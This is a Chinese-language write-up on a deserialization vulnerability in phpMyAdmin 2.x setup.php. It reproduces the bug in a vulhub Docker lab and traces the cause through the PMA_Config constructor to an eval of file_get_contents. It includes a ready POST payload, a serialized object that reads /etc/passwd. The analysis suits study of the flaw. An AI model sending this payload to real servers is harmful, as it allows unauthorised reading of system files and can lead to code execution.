0x01 漏洞说明
phpmyadmin 2.x版本的setup.php
中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
0x02 漏洞复现
通过vulhub快速在docker中复现漏洞
0x03 漏洞利用
使用POST的方式请求setup.php
,即可读取passwd
文件
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
0x04 源码分析
网上找了许多教程都只说了漏洞如何利用,却没有分析成因,无奈只好自己粗略地分析下
首先分析setup.php
,发现它会将POST请求的参数configuration
进行反序列化
if (isset($_POST['configuration']) && $action != 'clear' ) {
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
} else {
// Start with empty configuration
$configuration = array();
}
而payload中configuration
的值是序列化后的PMA_Config
类
configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
所以我们应该从源码中找到PMA_Config
类的定义,但是setup
文件中并没有找到,所以一定包含了其他的php文件
果然,在开头处有行文件包含的代码
require_once('./libraries/common.lib.php');
顺藤摸瓜找到这个文件common.lib.php
,结果依旧没有在找到PMA_Config
类的定义
但我通过搜索class,发现了小惊喜,common.lib.php中还包含了其他的php文件,真是一层又一层
require_once './libraries/sanitizing.lib.php';
require_once './libraries/Theme.class.php';
require_once './libraries/Theme_Manager.class.php';
require_once './libraries/Config.class.php';
终于,我在Config.class.php
中找到了PMA_Config
类的定义
一般会出现php的反序列化,准是类中的魔术函数出现了问题
所以重点审查对象就是这几个函数
__construct()当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 将在序列化之后立即被调用
通过审计代码发现问题果然出现在__construct
上
function __construct($source = null)
{
$this->settings = array();
// functions need to refresh in case of config file changed goes in
// PMA_Config::load()
$this->load($source);
// other settings, independant from config file, comes in
$this->checkSystem();
$this->checkIsHttps();
}
当一个类被创建,函数__construct
马上就会被调用,函数中的$this->load($source)
也会马上被执行
那我们再来看看函数load()
function load($source = null)
{
$this->loadDefaults();
if ( null !== $source ) {
$this->setSource($source);
}
if ( ! $this->checkConfigSource() ) {
return false;
}
$cfg = array();
$old_error_reporting = error_reporting(0);
if ( function_exists('file_get_contents') ) {
$eval_result =
eval( '?>' . file_get_contents($this->getSource()) ); //重点在这
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
error_reporting($old_error_reporting);
if ( $eval_result === false ) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
@TODO check validity of $_COOKIE['pma_collation_connection']
/
if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
$this->set('collation_connection',
strip_tags($_COOKIE['pma_collation_connection']) );
} else {
$this->set('collation_connection',
$this->get('DefaultConnectionCollation') );
}
$this->checkCollationConnection();
//$this->checkPmaAbsoluteUri();
$this->settings = PMA_array_merge_recursive($this->settings, $cfg);
return true;
}
我们发现load()
函数中,它调用了这一句eval( '?>' . file_get_contents($this->getSource()) );
函数getSource()
就是返回类的source
的值
而file_get_contents
函数的作用就是将指定的文件转换成字符串
所以将source复制为某个文件的路径就能够实现任意文件读取了,比如/etc/passwd
但是最后有个疑惑eval( '?>' . "string");
这种形式确实能够输出字符串,我却不明白他的原理